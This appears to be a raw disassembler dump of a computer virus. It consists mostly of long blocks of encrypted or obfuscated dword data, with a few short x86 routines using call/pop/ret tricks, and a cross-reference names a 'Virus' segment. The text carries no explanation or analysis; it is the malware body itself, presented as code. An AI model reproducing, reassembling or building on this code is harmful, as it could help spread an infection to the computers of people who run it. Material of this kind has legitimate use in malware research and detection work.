		dd 84E154Bh, 7CF6F7FDh,	304B2539h, 4BD78732h, 2236890Ch
		dd 1DEDA06h, 0A8851958h, 0A0DAFEDDh, 3BDAFE84h,	62DEDA60h
		dd 6BB61963h, 1AD33666h, 3755D5D4h, 0C8DEDA06h,	21DEDA12h
		dd 527E5392h, 0F7554316h, 0A3258321h, 0B764CE19h, 8C5B53B2h
		dd 0A8D78703h, 7CD9DFBBh, 145B1C0Ah, 72D787B2h,	21DED028h
		dd 69695660h, 0D2E4FBFh, 41EBD8DDh, 0B0B4707h, 0BC57D35Bh
		dd 2883FDBEh, 0A0B680E0h, 47400E2Fh, 0A0C12DDFh, 0B520FE34h
		dd 2467D1AAh, 0DECE91BAh, 7CD6CFB3h, 72DEB00Ah,	21DED969h
		dd 0E285FAC0h, 582533Bh, 59A5B34h, 21DEC01Ch, 0E28D990Ch
		dd 0EC02663Ch, 471C51F6h, 0AAD1140Ah, 21DEDAD8h, 21DEC989h
		dd 1D0DC930h, 6B55EECh,	3565F87Ah, 4238D89Ah, 3B73A5D9h
		dd 57CD5F0Ch, 10BED3A0h, 7CD14FE5h, 21D83239h, 0E1E3DA18h
		dd 0CBB0505Fh, 0D7D96360h, 0F121BB5Bh, 0C98FDAEBh, 21DEDAC3h
		dd 781D8340h, 25FA96B9h, 25FA9E99h, 21DEDA11h, 591D8B47h
		dd 0B22449AAh, 9E0C749Ch, 0CC43F3CAh, 0A8D78741h, 7CCA13B5h
		dd 72DEB011h, 21DED9E4h, 0E285FA06h, 5825358h, 59A5B85h
		dd 21DECDC4h, 0E28D9960h, 20CA34BEh, 3EB4F33h, 3536D351h
		dd 4DEDA06h, 26B10496h,	0BA9E0D78h, 0FFD09966h,	9952B2F2h
		dd 0A83AC647h, 7CC44BADh, 0C88E8305h, 21DEDA15h, 726E6910h
		dd 74BA897Bh, 0C4CB979Fh, 6F6EC2CDh, 7F582394h,	12EB5FDEh
		dd 4B99D351h, 22368906h, 1DEDA03h, 0A88519DAh, 0A0DAFE9Ch
		dd 3BDAFE24h, 62DEDA30h, 0E7F8194Bh, 8ACBE9F0h,	0BC4353D9h
		dd 49D7872Bh, 0F296C5Bh, 97FADE41h, 0A8ACA03Eh,	7CC1D3B5h
		dd 346B2511h, 10D78704h, 7CCAB393h, 0FC53510Ah,	0ACD787A1h
		dd 41A8C945h, 72DEB069h, 21DED9D8h, 0E285FA18h,	5825357h
		dd 59A5B02h, 21DEC007h,	0E28D9981h, 0F2E844A3h,	0A86A3291h
		dd 7CCA17B5h, 0B85B5311h, 47D7871Bh, 0F1212A8Dh, 36D76788h
		dd 0A457D3DCh, 2883DF3Dh, 0C98DDA0Ah, 21DEDA33h, 7A1D8138h
		dd 25FA8685h, 25FA9E87h, 21DEDA1Ah, 481D89C2h, 0FB6AEB1h
		dd 384B5160h, 0E7D7872Fh
		dd 7CEDEF9Dh, 21B48905h, 21DD3255h, 7AFEDA03h, 7D578142h
		dd 655FDEE4h, 21C4DE44h, 729DDA30h, 69222FDBh, 33B32CD6h
		dd 21D85E09h, 9CEDDA03h, 2883CB70h, 0CE9F5CA8h,	3053D5F5h
		dd 71DEDA30h, 21DED0F1h, 9216280Ch, 0D40C2651h,	7F068539h
		dd 2BFADE00h, 4BDD90DEh, 22368860h, 1DEDA30h, 0A8841942h
		dd 0A0DAFE58h, 3CDAFE42h, 63DEDA03h, 0C85F19D3h, 0CA193ED3h
		dd 5395372Eh, 29CB6FCFh, 0D05FD345h, 5F88082Eh,	57CD5F8Bh
		dd 2936D363h, 30DEDA81h, 59FEB011h, 0C8DA1130h,	21DEDA3Bh
		dd 0B04CCB0Ah, 9745AAD0h, 782862A3h, 0A4570AFCh, 2883D238h
		dd 3875F49h, 3236D33Dh,	70DEDA30h, 29750A77h, 0C5988504h
		dd 42481FCEh, 85821509h, 7F260C26h, 12EB5F06h, 4B89D33Dh
		dd 22368830h, 1DEDA18h,	0A8841956h, 0A0DAFE52h,	3BDAFE47h
		dd 63DEDA81h, 35051992h, 1F7FD41Ch, 0A0B8BAB1h,	4727ABF3h
		dd 0C2091C8Dh, 9CF6B267h, 255FE997h, 4E4A04A5h,	70DEB09Ch
		dd 21DED988h, 0E287FA30h, 5925341h, 59A5B08h, 21DEC602h
		dd 0E28F9B03h, 0B7119D7h, 4CA8E247h, 53C364F2h,	0EB55CF40h
		dd 29CB6FE7h, 21B4D351h, 21DD3250h, 7FFEDA03h, 55578442h
		dd 655FDEE4h, 21C4DE44h, 7798DA30h, 128B8ADBh, 33BE2990h
		dd 21DEC9EEh, 0D1140E03h, 0AF134DCAh, 0DE1119F6h, 0D8BBDA79h
		dd 0CAC7B255h, 9C5585E4h, 2883CEDDh, 57CD5F8Bh,	21B4D363h
		dd 21DD32D7h, 7FFEDAC0h, 555784A3h, 655FDE14h, 21C2DE3Ch
		dd 7798DA0Ch, 4947AFC5h, 0F16335DEh, 9CEDF548h,	2883D9A5h
		dd 21DC5D6Fh, 0D355DA30h, 21B40AE7h, 21DD3259h,	7CFEDA06h
		dd 4D5787C0h, 655FDEA5h, 21CADEE4h, 749BDA60h, 0A4574BF3h
		dd 2883D99Dh, 12EB5FCAh, 0C89DD35Bh, 21DEDA0Eh,	4D8FE729h
		dd 258E11DCh, 0BA4A8C75h, 1335B2AAh, 536F419Ch,	1CFADE8Dh
		dd 0D4FFD63Bh, 29CB6FFCh, 21B4D3DCh, 21DD3291h,	78FEDA60h
		dd 6D5783F3h, 655FDE3Ch, 21C4DE28h, 709FDA06h, 61D430C0h
		dd 0BABD0715h, 0FB3865A6h, 57CD5FEDh, 21B4D350h, 21DD324Ah
		dd 7BFEDA0Ch, 755780C5h, 655FDE27h, 21C3DEA5h, 739CDAC0h
		dd 1F022DA3h, 0B1780CA6h, 0A8DB1CA9h, 7CF4C3B1h, 4B0E250Fh
		dd 22368903h, 1DEDA81h,	0A885199Bh, 0A0DAFE3Ch,	34DAFE74h
		dd 62DEDA18h, 5424195Fh, 235AD557h, 41DEDA03h, 2F3683E0h
		dd 87DEDAC0h, 0DB57A701h, 4BFE4B1h, 0DC6C5A3Fh,	0F86B5322h
		dd 7FD78710h, 21DEC9EBh, 0B7EF4981h, 0B2CF0FF7h, 3DF07682h
		dd 0BBFD6FFDh, 167FA380h, 38476787h, 0A887D35Bh, 7CFD9386h
		dd 0B86B5188h, 0ACD787C3h, 417BAEE5h, 0A46F8A39h, 0A8FADE91h
		dd 7CD8EB81h, 505B530Fh, 0DED78700h, 7CD59314h,	74DEB0C9h
		dd 21DED988h, 0E283FA30h, 5B25345h, 59A5B08h, 21DEC702h
		dd 0E28B9F03h, 0F8FECBB1h, 7E8F1486h, 0F9553549h, 0C98CDA5Ah
		dd 21DEDA1Bh, 7B1D802Ch, 25FA8E8Fh, 25FA9E82h, 21DEDA9Ah
		dd 961D8882h, 86680759h, 0A8F0C578h, 7CEE479Dh,	54535305h
		dd 0ACD7870Fh, 417BB286h, 73DEB088h, 21DED928h,	0E284FA60h
		dd 58A536Ah, 59A5B1Ch, 21DEC008h, 0E28C9806h, 33C86AB3h
		dd 81792A0h, 7CDBEF45h,	986BF369h, 71D78738h, 21DED5F1h
		dd 11E1AC0Ch, 8F16FDDBh, 0B363CB54h, 0DF49FCC4h, 4BFADE49h
		dd 22368860h, 1DEDA30h,	0A8841942h, 0A0DAFE58h,	38DAFE42h
		dd 63DEDA03h, 0D5C619D3h, 6FCF070h, 245367EBh, 3336D36Dh
		dd 41DEDA18h, 32945D50h, 8B74A159h, 32E079C0h, 45E5F372h
		dd 21D1327Dh, 0F5E1DA60h, 0BEADADA5h, 0BC826CE8h, 89508CEh
		dd 0F86B5105h, 7BD78728h, 0AAB849DEh, 98B88A0Eh, 4B4DF97Ch
		dd 22368D30h, 1DEDA18h,	0A8811953h, 0A0DAFE7Ah,	37DAFE47h
		dd 66DEDA81h, 82FD1997h, 304B25BEh, 4BD7871Ah, 22368A18h
		dd 1DEDA0Ch, 0A886195Eh, 0A0DAFE47h, 37DAFEC5h,	61DEDAC0h
		dd 0C9651930h, 0BC5B53DEh, 0AAD78732h, 7CD83B99h, 0C45B1D0Fh
		dd 2ED78700h, 4BDEDA81h, 22368BC0h, 1DEDA60h, 0A8871969h
		dd 0A0DAFE54h, 3CDAFE48h, 60DEDA06h, 98451952h,	3DF02EBh
		dd 0A2C8898Ch, 0B434F9Fh, 21B4D36Dh, 21DD324Fh,	7EFEDA0Ch
		dd 5D5785C5h, 655FDE27h, 21C9DEA5h, 7699DAC0h, 8F2044A3h
		dd 0E04B515Dh, 0A8D78731h, 7CCC2389h, 71DEB00Fh, 21DED9EBh
		dd 0E286FA81h, 59A5398h, 59A5B64h, 21DEC634h, 0E28E9A18h
		dd 0B20AE7B1h, 96D14B71h, 0E8635356h, 0AAD787ABh, 7CD2AF45h
		dd 0C4435769h, 0A8D7BA8Ah, 9C53DB5Bh, 2883DE29h, 9B616F8Bh
		dd 1267D363h, 0D2DEDA81h, 99ED3164h, 21DEDA60h,	22AA1A3Bh
		dd 0AADEC2DAh, 72D2FE48h, 21DEDAEEh, 0E25F8103h, 21DEDA96h
		dd 31FA8649h, 35FA9EE9h, 0DBE9626Bh, 0C121DAB6h, 25FA9E87h
		dd 31363AF9h, 0C5DEDA03h, 0E283ADFEh, 11E2F5BCh, 0E1C4B270h
		dd 7BBB1366h, 9FE1899h,	4BBFD8A0h, 22368906h, 1DEDA03h
		dd 0A88519DAh, 0A0DAFE9Ch, 3CDAFE24h, 62DEDA30h, 2AF0194Bh
		dd 4F3728D0h, 0A0010189h, 0AC0F5165h, 417BB23Ch, 725357C9h
		dd 99D7BADBh, 0B9F87105h, 31475F2Bh, 0EEF5D351h, 5521B4BAh
		dd 8121DD32h, 37FFEDAh,	44555784h, 14655FDEh, 1821C8DEh
		dd 837798DAh, 0A4F305E9h, 6AD98Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0F7730C3h, 281h, 8BCB8B00h
		dd 5D0A4D8Dh, 40E909h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 5AADBFC3h, 6A61EAh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0F9D089C3h, 0C08BF9C3h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 27C35242h, 0BE606A13h, 31B44CC3h, 6E9h
		dd 0C34A5700h, 61843C03h, 1840Fh, 83FC0000h, 5D1809BDh
		dd 9750009h, 329BD83h, 7400095Dh, 8B535019h, 4B9B8C0h
		dd 85890000h, 95D1311h,	0AAC89D8Dh, 0D3FF095Fh,	0BD83585Bh
		dd 95D0329h, 50177400h,	4B9B853h, 85890000h, 95D1311h
		dd 0A7699D8Dh, 0D3FF095Fh, 13E9585Bh, 9C000000h, 61EADB1Ch
		dd 65284219h, 220B2451h, 0B0344AFEh, 6A68EAh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 88CAFCC3h
		dd 66F8F4C0h, 0F8DFD4Bh, 1883h,	12830F00h, 0E9000000h
		dd 0Dh,	607E76DBh, 0E6D7EF37h, 21A87CEEh, 6AC08B86h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0AB54C356h, 7880Fh, 860F0000h, 1, 0C18B40FCh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0AFC35545h, 2BDFE50Fh
		dd 44DEE88Bh, 4EBh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 190424h, 51410000h, 8FEF3FC3h, 8B27A852h
		dd 5D0585B5h, 6880F09h,	81000000h, 0B0192EEEh, 39858D69h
		dd 8B095D22h, 5D3301BDh, 8B0F9009h, 0Eh, 8E8h, 0F1FCCC00h
		dd 0FE55FDE3h, 50505F9Bh, 840F5252h, 0
		dd 66310F5Eh, 5A45DFBFh, 6A9058h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 67F792C3h, 883301ABh
		dd 89E543D3h, 5D197DBDh, 42F68109h, 816060C5h, 577917E7h
		dd 6A006A30h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 10F1C353h, 65AADC63h, 399DFDDBh
		dd 0B58B006Ah, 95D302Dh, 0BEC4858Dh, 810F0960h,	6, 8D5B58Bh
		dd 0BF0F095Dh, 5C083F6h, 25FEE681h, 0B70F13E3h,	0FABF90F7h
		dd 506FFEAAh, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0A0A54D0h, 0A4D1C360h, 29006AFAh
		dd 5D27AD85h, 6A006A09h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 6CA1C351h, 0CC1A9C8Ch
		dd 0FA74375h, 58Dh, 0DF816600h,	95FFFBB5h, 95D0851h, 0E081D781h
		dd 9D8D4CCBh, 960914Ch,	46DDE681h, 0B58B60B3h, 95D1941h
		dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0E8EEDAC3h, 77C700ABh, 0BD011335h, 95D30ADh
		dd 216985FFh, 0E781095Dh, 343FEA56h, 80BE9h, 0E800h, 815D0000h
		dd 60BECEEDh, 0FE909h, 0FD6B0000h, 75B5876Dh, 8A7EC0B2h
		dd 3D509AABh, 0F606049h, 85h, 9E900h, 0C8770000h, 71C17F1Eh
		dd 610EA65Ch, 6820Fh, 858B0000h, 95D0925h, 0E5BD8161h
		dd 0D0095D03h, 0F000007h, 1AC86h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 4890F95h, 66000000h
		dd 8BC150BEh, 5D337D9Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0DCAAFD16h, 100E381h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 37DEEDC3h, 4076958Dh, 0FE8B6640h,	850FDB0Bh
		dd 94h,	302DBD89h, 0BD83095Dh, 960BD16h, 63840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0E8F7C356h, 634D958Ah, 0D878D84Bh, 19118589h
		dd 0F953095Dh, 7FE95Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 18057CC3h, 0C2226798h
		dd 0F911F71h, 58Ch, 0EF816600h,	85C7FC35h, 960BD16h, 1
		dd 521B58Bh, 3AE9095Dh,	0F000000h, 38Dh, 0F78B6600h, 0BD1685C7h
		dd 960h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 170424h, 51410000h, 0F6F16C3h, 3EEE81A5h, 8B40E86Ah
		dd 7D9D8DF3h, 6A095D33h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0E90C351h, 42A5A6Dh
		dd 9589C927h, 95D2865h,	272DB503h, 2381095Dh, 0FFFFFEFFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CEC35141h
		dd 0EF570C5Fh, 0C1849AF7h, 1931BD8Bh, 0B70F095Dh, 0DB8C66FBh
		dd 6E9h, 0A0A5EE00h, 0E80FBA3Fh, 0Eh, 0A7C270CDh, 0EDF91DD4h
		dd 0FA95B9BCh, 850F3605h, 6, 870Fh, 0F65F0000h,	840F04C3h
		dd 5Dh,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch
		dd 0DEC35040h, 6C2DFBB2h, 0BCA463D8h, 2EE1BD2Bh, 95FF095Dh
		dd 95D2A9Dh, 9E9h, 0FAAFD300h, 950D6E77h, 505016F6h, 0B0B66052h
		dd 310F5250h, 0F61585Ah, 0B963BF31h, 585A5CB2h,	89240489h
		dd 5D12BD85h, 447E909h,	0FE90000h, 85000000h, 9744C967h
		dd 70EE92FCh, 0BB07BBDh, 0B0596Eh, 0F85B589h, 70E6095Dh
		dd 6DB58B60h, 29095D05h, 5D31D18Dh, 71E46109h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C0C35343h, 0B7B2BE66h
		dd 6AD8B60Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 8E2AC356h, 6BAD5h, 8D0F0000h
		dd 1, 6AC38BF9h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0B7B1C352h, 6604E8C1h,	0E860F18Bh
		dd 0Fh,	72EC157Ah, 852F3BAAh, 0CE6CBB1Ah, 8B80141Fh, 9D335FF1h
		dd 95D2F7Dh, 0E2F76661h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 0A8C35646h, 53CBDD2Ch, 14E9h,	0ABD47500h
		dd 667826FCh, 0EEC0C2CBh, 4898E336h, 5D64DB66h,	0D82B5FE2h
		dd 93FABF0Fh, 8E9h, 0E6CCBD00h,	0B8759B85h, 11E850A6h
		dd 20000000h, 3CA15C3Ah, 88EB7922h, 92E96E9Bh, 0EBB860D9h
		dd 0DE8h, 0F733F600h, 0ABE3F77Eh, 6A9D34BDh, 5F5EE704h
		dd 56006A93h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 1BB3AC7Dh, 0B3928BA5h, 0E58589A1h, 0FF095D0Ah
		dd 5D03E5B5h, 95FFF509h, 95D11B1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 1EC35747h, 0E0306CC5h, 8D899078h
		dd 95D0825h, 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0C5E479C3h, 60CF310Ah, 5E9h, 56FEC00h
		dd 0D981AD69h, 2B7ABE97h, 6A70E661h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0D7E4C353h
		dd 5E8F18Bh, 45000000h,	3A92B06Ch, 12E9h, 5C4B7700h, 8F744E00h
		dd 89AB2F01h, 4FAC5988h, 5F01CD30h, 6A71E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 613CFDC3h
		dd 20F830Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F0E38C3h, 1482h, 9E800h, 18B60000h
		dd 714E27B3h, 66012553h, 0B3A6DE81h, 0D8B60F5Eh, 0D0F78166h
		dd 6BAE8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 19EE0DC3h, 9F31BA41h, 89013CAEh
		dd 5D2309B5h, 6AC38B09h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 66ADC350h, 2C08DE81h
		dd 0BE04E8C1h, 37A955EEh, 6AE2F766h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 7032C350h
		dd 25158D89h, 0D82B095Dh, 6A58F38Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 5FB1C357h
		dd 0EAC6ECC9h, 2B5EF852h, 1E880FD8h, 81000001h,	5083A7EFh
		dd 7B906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 30BD3C3h, 6600C183h, 4B0D781h, 860FD93Bh
		dd 0E5h, 2481BD29h, 0FE9095Dh, 0BB000000h, 5CE7FB9Ch, 22E1A35Ch
		dd 44EC076Ch, 8C660A88h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 4C1F640h, 9B840Fh, 0FE8B0000h
		dd 74EE8166h, 9D95FF93h, 6A095D2Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0BCB2C352h
		dd 639D6F14h, 14BFF781h, 6A5B2135h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 597DC357h
		dd 2F658D89h, 0C32B095Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh
		dd 0E7C35545h, 375BE66Ah, 5ED52280h, 8343D19h, 860F0000h
		dd 11h,	26C9B58Bh, 0EE9095Dh, 81000000h, 1C3662E6h, 0BC08B11h
		dd 5D2ED9BDh, 8BC38B09h, 0F18B66D8h, 3C185C7h, 5B19095Dh
		dd 6A5631h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 797980C3h, 0DE8h,	53EB7A00h, 0A2B48B87h
		dd 0F6B64A10h, 9589D5F1h, 95D1A99h, 0CDB5895Eh,	8B095D24h
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 4ABF12FCh, 19D59589h, 0B523095Dh, 95D2395h
		dd 2F7DB523h, 0BD81095Dh, 95D03E5h, 7D0h, 61850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 221F6CC3h, 9E8h, 291E2A00h, 9D451378h, 0BD8B4071h, 95D32C1h
		dd 0E585FF5Eh, 6A095D03h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 3414C355h, 6E6704EAh
		dd 0EF2AC73Dh, 0FFF38B66h, 5D03E5B5h, 61B58909h, 0FF095D2Bh
		dd 5D11B195h, 90F18B09h, 345678B8h, 95895612h, 95D0715h
		dd 0CD8D015Fh, 8D095D17h, 60C6B09Dh, 0F7FBE909h, 0BD89FFFFh
		dd 95D0FB5h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 5155DEC3h, 8F0FB4h, 0EB000000h
		dd 4, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0BCF94A75h, 0D28985h, 2239858Dh
		dd 6A095Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0F15F69C3h, 0A23ED0DCh, 344BC02h,	5D2655BDh
		dd 12E85009h, 0C7000000h, 0F82BBEAAh, 1644C267h, 9810007Eh
		dd 4D98CEEFh, 8E928h, 3C030000h, 8AC8F384h, 895E1175h
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0CA1209C3h, 0BD8960CEh, 95D2B19h,	0E27FCE81h
		dd 6A617BCEh, 5BD8B00h,	0F8095D0Bh, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD8B62C3h
		dd 95D0BA9h, 0C91B858Dh, 6A0960h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 560746C3h, 0C08366D6h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0E7857A5Ah, 50FE8B90h, 12E8h, 5AD24B00h
		dd 0FA8DDA39h, 65CAB3CDh, 0D74BB03Bh, 0E8EC02F2h, 6, 16D20F06h
		dd 0FE8B7C0Ch, 6A905F5Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 1DAC351h, 85418ACCh
		dd 6A097Ch, 39BD8B50h, 5E095D0Bh, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0F273FCC3h
		dd 0CEDB80C6h, 21C78166h, 5195FF1Ah, 6A095D08h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 2219C357h, 9D44374h,	8B66A991h, 89B58BF1h, 8B095D03h
		dd 5D1221B5h, 4C9D8D09h, 66096091h, 54EDF681h, 0B529D3FFh
		dd 95D1159h, 216985FFh,	6A095Dh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0B6BBF4C3h, 0EFD92B85h
		dd 75958979h, 0E9095D31h, 86Ah,	0E8h, 0ED815D00h, 960C925h
		dd 0E5CE8166h, 0E5BD81B0h, 0D0095D03h, 0F000007h, 17F86h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0CAF81865h, 24254CBCh, 0E9607B9Fh, 0Fh
		dd 24372F1Dh, 0BBB92A21h, 0DA462D05h, 56608184h, 22AD958Bh
		dd 6158095Dh, 14E1B589h, 9D8B095Dh, 95D153Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0F4C35343h, 4E3F5443h
		dd 89C378F9h, 5D16B9B5h, 0E38109h, 66000001h, 0BEDD5BFh
		dd 0A3850FDBh, 83000000h, 60C6FDBDh, 840F0009h,	50h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 92C35646h, 0B8E1995Ch
		dd 81E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 84BF9F39h, 0F3553C8h, 38Fh, 0F6B70F00h
		dd 0C6FD85C7h, 10960h, 10E90000h, 0D9000000h, 0E56423FFh
		dd 9CE86986h, 284FB496h, 0E903A9C8h, 32h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 0E5C35040h, 0DF64BE25h
		dd 85C707ADh, 960C6FDh,	0
; ---------------------------------------------------------------------------
		sub	[ebp+95D1699h],	eax
		lea	ebx, [ebp+95D153Dh]
		push	0
		push	edx
		call	sub_5A75BF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A75BF	proc near		; CODE XREF: Virus___:005A75B7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5A75BF	endp

; ---------------------------------------------------------------------------
		db 0F4h
		dd 8B0F7E3Eh, 6, 98D31h, 2381095Dh, 0FFFFFEFFh,	6800Fh
		dd 0B58B0000h, 95D0BB5h, 89DB8C66h, 5D1A099Dh, 4C3F609h
		dd 37840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 160424h, 55450000h, 5C36B1C3h, 1931B531h, 95FF095Dh
		dd 95D2A9Dh, 2B09B58Bh,	6650095Dh, 489F78Bh, 470E924h
		dd 0B58B0000h, 95D2EFDh, 33D1BD8Bh, 0B0095Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 23C35545h, 4349AFF8h
		dd 0AE8DBh, 195D0000h, 61B42056h, 0FDEDA0C3h, 8B76A3BEh
		dd 8B665E28h, 0E870E6F1h, 0Bh, 7DBFFB94h, 55BBC47h, 29DCEB8Dh
		dd 5D17C19Dh, 71E45E09h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0E3C35242h, 70A39D2Fh, 8BD9B458h, 5D1AA9BDh
		dd 0D8B60F09h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0EDC35646h, 1FED9A46h, 0F1BD337Dh, 0F095D0Ch, 583h
		dd 82FBBE00h, 6BA1DCCh,	0E9000000h, 13h, 987C3E82h, 6541EABBh
		dd 2B5A5460h, 379AB084h, 8BA480A9h, 55006AC3h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 9DB80286h
		dd 0F1B58B46h, 89095D0Fh, 5D18399Dh, 4E8C109h, 0BEB100BEh
		dd 0E2F76608h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0B9C35141h, 8D0158E1h, 95D22B9h, 8D336060h, 95D2A3Dh
		dd 10E8h, 0BFC67B00h, 6C017A9Eh, 8AE17BECh, 0DE831E44h
		dd 89615A4Dh, 5D303D8Dh, 0D82B6109h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0F7C35646h,	25256F0Ch, 0C59D89E3h
		dd 50095D10h, 0AE8h, 0CB0C3300h, 0E6CABA60h, 50467B3Bh
		dd 18BF6652h, 0BF310FA0h, 2A5443D3h, 895E585Ah,	0BE66241Ch
		dd 0B5FFA045h, 95D03E5h, 216D8D89h, 8B66095Dh, 0B195FFFAh
		dd 0E8095D11h, 7, 78917644h, 0F52930ABh, 6600B05Eh, 70E6F78Bh
		dd 19B1B58Bh, 2B60095Dh, 5D0CDD8Dh, 71E46109h, 41958960h
		dd 2B095D1Dh, 5D2F45B5h, 613C6109h, 270830Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 7492F2C3h, 398D3173h, 0F095D24h, 68Eh, 81BD8B00h, 0F095D13h
		dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 8A0F81C3h, 6, 11A1BD8Bh, 6BA095Dh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 87FDC357h, 964F6285h, 68B0Fh, 8D090000h
		dd 95D308Dh, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 10D962C3h, 0C18E095Bh, 890F04E8h
		dd 0
; ---------------------------------------------------------------------------
		mul	dx
		push	0
		push	edx
		call	sub_5A7906
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



